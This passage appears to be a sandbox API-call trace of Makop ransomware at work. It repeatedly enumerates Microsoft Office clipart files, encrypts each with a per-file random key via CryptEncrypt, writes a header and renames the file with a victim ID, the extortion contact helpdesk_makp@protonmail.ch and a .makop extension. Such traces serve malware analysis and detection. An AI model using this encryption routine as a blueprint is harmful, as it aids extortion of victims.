param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.241] CloseHandle (hObject=0xf0) returned 1 [0153.241] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01006_.WMF", cAlternateFileName="")) returned 1 [0153.241] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF") returned 63 [0153.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.242] GetProcessHeap () returned 0x48a0000 [0153.242] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.242] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.243] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0153.247] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.247] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.247] GetProcessHeap () returned 0x48a0000 [0153.247] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.247] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.247] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.247] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.248] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.248] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.248] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.248] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.248] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.248] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.248] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.248] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.249] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x634, lpOverlapped=0x0) returned 1 [0153.249] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640, dwBufLen=0x640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640) returned 1 [0153.249] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.249] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x640, lpOverlapped=0x0) returned 1 [0153.249] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.249] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.249] SetEndOfFile (hFile=0xf0) returned 1 [0153.256] GetProcessHeap () returned 0x48a0000 [0153.256] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.256] GetProcessHeap () returned 0x48a0000 [0153.256] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.257] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.258] CloseHandle (hObject=0xf0) returned 1 [0153.259] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865cd000, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x865cd000, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x2734, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01252_.WMF", cAlternateFileName="")) returned 1 [0153.259] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF") returned 63 [0153.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.260] GetProcessHeap () returned 0x48a0000 [0153.260] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.260] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.260] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0153.277] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.277] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.277] GetProcessHeap () returned 0x48a0000 [0153.277] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.277] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.277] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.277] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.278] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.278] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.278] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.279] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.279] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.279] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2734, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2734, lpOverlapped=0x0) returned 1 [0153.281] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2740, dwBufLen=0x2740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2740) returned 1 [0153.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2740, lpOverlapped=0x0) returned 1 [0153.281] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.282] SetEndOfFile (hFile=0xf0) returned 1 [0153.289] GetProcessHeap () returned 0x48a0000 [0153.289] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.289] GetProcessHeap () returned 0x48a0000 [0153.289] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.289] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.292] CloseHandle (hObject=0xf0) returned 1 [0153.292] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852ba300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852ba300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01253_.WMF", cAlternateFileName="")) returned 1 [0153.292] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF") returned 63 [0153.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.293] GetProcessHeap () returned 0x48a0000 [0153.293] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.293] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.294] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0153.298] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.299] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.299] GetProcessHeap () returned 0x48a0000 [0153.299] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.299] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.299] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.299] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.299] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.299] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.299] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.300] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.300] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.300] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.300] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.300] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.300] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x78a, lpOverlapped=0x0) returned 1 [0153.300] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790, dwBufLen=0x790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790) returned 1 [0153.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.301] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x790, lpOverlapped=0x0) returned 1 [0153.301] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.301] SetEndOfFile (hFile=0xf0) returned 1 [0153.307] GetProcessHeap () returned 0x48a0000 [0153.307] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.308] GetProcessHeap () returned 0x48a0000 [0153.308] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.308] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.309] CloseHandle (hObject=0xf0) returned 1 [0153.310] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf461c100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf461c100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01462_.WMF", cAlternateFileName="")) returned 1 [0153.310] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF") returned 63 [0153.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.316] GetProcessHeap () returned 0x48a0000 [0153.316] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.316] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.316] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.316] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0153.320] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.320] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.320] GetProcessHeap () returned 0x48a0000 [0153.321] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.321] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.321] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.321] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.321] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.321] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.321] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.322] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.322] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.322] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.322] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x326, lpOverlapped=0x0) returned 1 [0153.322] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x330, dwBufLen=0x330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x330) returned 1 [0153.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.322] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x330, lpOverlapped=0x0) returned 1 [0153.323] 